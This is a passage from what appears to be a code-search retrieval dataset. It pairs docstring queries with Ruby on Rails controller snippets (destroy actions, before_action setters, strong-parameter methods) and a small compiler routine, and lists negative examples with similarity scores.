:no_content }\n end\n end", "def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @treino.destroy\n respond_to do |format|\n format.html { redirect_to treinos_url, notice: 'Treino was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @todo3.destroy\n respond_to do |format|\n format.html { redirect_to todo3s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @lieu = Lieu.find(params[:id])\n @lieu.destroy\n\n respond_to do |format|\n format.html { redirect_to lieus_url }\n format.json { head :no_content }\n end\n end", "def destroy\n redirect_to_path = disciplina_turmas_path(@turma.disciplina)\n @turma.destroy\n respond_to do |format|\n format.html { redirect_to redirect_to_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @bustour.destroy\n respond_to do |format|\n format.html { redirect_to bustours_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @story.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @tattoo.destroy\n respond_to do |format|\n format.html { redirect_to tattoos_url, notice: 'Tattoo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trainee.destroy\n respond_to do |format|\n format.html { redirect_to trainees_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @solicitud.destroy\n respond_to do |format|\n format.html { redirect_to solicitudes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip.destroy\n\n head :no_content\n end", "def destroy\n @chronicle = Chronicle.find(params[:id])\n @chronicle.destroy\n\n respond_to do |format|\n format.html { redirect_to library_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @tea_club.destroy\n respond_to do |format|\n format.html { redirect_to tea_clubs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tour.destroy\n \n redirect_to tours_url, notice: 'Tour was successfully destroyed.' \n end", "def destroy\n @trip_story = TripStory.find(params[:id])\n @trip_story.destroy\n\n respond_to do |format|\n format.html { redirect_to(trip_stories_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :ok }\n end\n end", "def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :ok }\n end\n end", "def destroy\n @utente = Utente.find(params[:id])\n @utente.destroy\n\n respond_to do |format|\n format.html { redirect_to utenti_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n render json: nil, status: :ok\n end", "def destroy\n @objet = Objet.find(params[:id])\n @objet.destroy\n\n respond_to do |format|\n format.html { redirect_to objets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @turistum.destroy\n respond_to do |format|\n format.html { redirect_to turista_url, notice: 'Turistum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @titulacion.destroy\n respond_to do |format|\n format.html { redirect_to titulaciones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to @trip.parent || trips_url, change: 'trip' }\n format.json { head :no_content }\n end\n end", "def destroy\n @visitante.destroy\n respond_to do |format|\n format.html { redirect_to visitantes_url, notice: 'Visitante was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n #@tutorial = Tutorial.find(params[:id])\n #@tutorial.destroy\n #\n #respond_to do |format|\n # format.html { redirect_to tutorials_url }\n # format.json { head :no_content }\n #end\n end" ]
[ "0.7524152", "0.7401713", "0.73962617", "0.73065335", "0.73065335", "0.73065335", "0.73065335", "0.73065335", "0.73065335", "0.7300691", "0.72590744", "0.70217735", "0.6994736", "0.69651663", "0.69564503", "0.6949785", "0.694778", "0.69398916", "0.69348764", "0.6925001", "0.6922464", "0.69204134", "0.68987966", "0.68950635", "0.68894583", "0.68792766", "0.6869942", "0.6869942", "0.6868543", "0.68622524", "0.6860266", "0.68527585", "0.68444496", "0.6839829", "0.68365896", "0.6825311", "0.68143344", "0.6809519", "0.6808881", "0.67994094", "0.67994094", "0.67881614", "0.6787548", "0.678716", "0.6786145", "0.67832166", "0.6781695", "0.67706513", "0.67669225", "0.6759177", "0.6753519", "0.6727229", "0.67175275", "0.67153054", "0.67143744", "0.67099506", "0.67096245", "0.67096245", "0.67096245", "0.6708155", "0.6700978", "0.6700759", "0.66999966", "0.66983706", "0.6697893", "0.66968477", "0.66942066", "0.6694032", "0.66839343", "0.6683224", "0.6681767", "0.6675673", "0.66754425", "0.6674475", "0.6674475", "0.6674475", "0.6673747", "0.66702884", "0.66667956", "0.6658573", "0.6655506", "0.6653837", "0.66522723", "0.66508865", "0.66495466", "0.6649451", "0.66474164", "0.66469264", "0.6646291", "0.66444635", "0.6641829", "0.6640191", "0.6640191", "0.66399485", "0.66397744", "0.6636766", "0.6633948", "0.6633149", "0.66295946", "0.66266006", "0.6624749" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_tour @tour = Tour.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def tour_params params.require(:tour).permit(:id, :name, :description, :created_at, :updated_at, :price, :booking_deadline, :from_date, :to_date, :total_seats, :op_email, :op_phone, :status, :my_tours, images: [], tour_locations_attributes: [:id, :country, :state_or_province, :_destroy]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
=begin def oldTry(node) if node.catch_variable catch_label = uniqid output :pushcatch, catch_label end finally_label = uniqid if node.finally_statements output :pushfinally, finally_label end end_label = uniqid compile node.try_statements no exceptions? clean up output :popcatch if node.catch_variable output :jmp, finally_label if node.catch_variable output :".label", catch_label output :".catch", node.catch_variable.intern output :popcatch compile node.catch_statements end output :".label", finally_label if node.finally_statements output :popfinally compile node.finally_statements output :endfinally end end =end
def Or(node) compile node.left output :dup end_label = uniqid output :jit, end_label output :pop compile node.right output :".label", end_label end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
